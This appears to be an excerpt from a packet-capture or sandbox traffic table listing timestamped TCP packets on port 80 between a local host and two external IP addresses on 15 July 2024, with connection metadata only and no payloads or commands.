Jul 15, 2024 00:48:26.805927038 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.805938005 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.805948973 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.805960894 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.805969000 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.805973053 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.805985928 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.805994987 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.806000948 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.806013107 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.806020021 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.806025028 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.806036949 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.806042910 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.806052923 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.806068897 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.806085110 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.806217909 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.806230068 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.806241035 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.806252956 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.806257963 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.806266069 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.806273937 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.806277037 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.806289911 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.806297064 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.806301117 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.806313038 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.806320906 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.806324959 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.806333065 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.806337118 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.806349993 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.806368113 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.806391001 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.806557894 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.806569099 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.806581974 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.806591988 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.806598902 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.806603909 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.806615114 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.806623936 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.806627989 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.806641102 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.806652069 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.806658030 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.806663990 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.806668997 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.806677103 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.806684971 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.806689024 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.806700945 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.806713104 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.806720018 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.806745052 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:30.277631998 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:32.307564020 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:32.312467098 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:32.312556028 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:32.313369036 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:32.324851036 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:32.840677977 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:32.840708971 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:32.840732098 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:32.840765953 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:32.840770960 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:32.840794086 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:32.840817928 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:32.840838909 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:32.840838909 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:32.840864897 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:32.840884924 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:32.840886116 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:32.840895891 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:32.840913057 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:32.841151953 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:32.845818996 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:32.845901012 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:32.845946074 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:32.846184969 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:32.888309956 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:32.929786921 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:32.929801941 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:32.929857969 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:32.929935932 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:32.929948092 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:32.929960012 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:32.929985046 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:32.930104971 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:32.930116892 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:32.930156946 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:32.930798054 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:32.930810928 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:32.930821896 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:32.930833101 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:32.930871964 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:32.930905104 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:32.931694031 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:32.931705952 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:32.931715965 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:32.931726933 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:32.931737900 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:32.931744099 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:32.931773901 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:32.932288885 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:32.932301044 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:32.932312012 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:32.932322979 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:32.932333946 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:32.932343960 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:32.932348013 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:32.932354927 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:32.932379007 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:32.932399988 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:32.934734106 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:32.934772968 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:32.934783936 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:32.934806108 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:32.934824944 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.018544912 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.018559933 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.018573046 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.018621922 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.018718004 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.018733025 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.018759012 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.018819094 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.018838882 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.018850088 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.018862963 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.018877983 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.018907070 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.019254923 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.019273996 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.019288063 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.019300938 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.019306898 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.019315958 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.019330025 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.019330025 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.019346952 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.019355059 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.019362926 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.019376040 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.019390106 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.019392967 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.019403934 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.019417048 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.019423962 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.019432068 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.019443989 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.019452095 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.019459009 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.019469023 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.019473076 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.019490957 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.019495964 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.019520044 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.020034075 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.020183086 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.020220995 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.020320892 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.020725012 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.020737886 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.020776033 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.020857096 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.020872116 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.020884037 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.020896912 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.020914078 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.020929098 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.021121979 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.021177053 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.021907091 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.021919966 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.021934032 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.021960020 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.022057056 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.022072077 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.022084951 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.022099018 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.022099018 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.022114038 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.022237062 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.022249937 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.022263050 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.022278070 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.022305965 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.022964001 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.022979975 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.023021936 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.105474949 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.105489016 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.105500937 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.105551004 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.105576992 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.105591059 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.105604887 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.105618000 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.105634928 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.105655909 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.105657101 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.105671883 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.105684042 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.105696917 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.105706930 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.105715036 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.105736017 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.105752945 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.106245995 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.106270075 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.106307030 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.106317997 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.106329918 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.106353045 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.106370926 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.106550932 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.106614113 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.106621981 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.106637001 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.106681108 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.106702089 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.106726885 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.106728077 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.106753111 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.106993914 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.107032061 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.107053041 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.107059002 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.107103109 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.107142925 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.107166052 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.107187986 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.107208014 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.107208967 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.107283115 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.107304096 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.107309103 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.107327938 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.107351065 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.107352018 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.107374907 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.107393026 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.108062983 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.108083010 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.108108044 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.108117104 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.108165026 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.108212948 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.108246088 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.108268976 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.108289957 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.108311892 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.108314991 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.108330965 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.108335972 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.108357906 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.108371019 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.108378887 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.108403921 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.108442068 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.108831882 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.108869076 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.108881950 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.108891964 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.108985901 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.109006882 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.109011889 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.109039068 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.109075069 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.109080076 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.109098911 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.109121084 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.109136105 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.109143019 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.109159946 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.109165907 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.109189034 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.109229088 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.110104084 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.110157967 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.110253096 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.110276937 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.110297918 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.110317945 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.110340118 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.110346079 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.110372066 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.110372066 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.110395908 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.110416889 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.110439062 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.110440016 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.110460997 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.110461950 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.110486031 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.110532999 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.110694885 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.110733032 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.110754967 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.110763073 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.110795021 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.110842943 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.110865116 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.110887051 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.110907078 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.110928059 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.110950947 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.111188889 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.111295938 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.111316919 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.111339092 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.111346960 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.111357927 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.111382008 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.153923988 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.194662094 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.194675922 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.194688082 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.194734097 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.194778919 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.194792032 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.194803953 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.194817066 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.194822073 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.194828033 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.194847107 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.194849014 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.194879055 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.194905996 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.194917917 CEST	80	57614	23.227.193.59	192.168.2.5
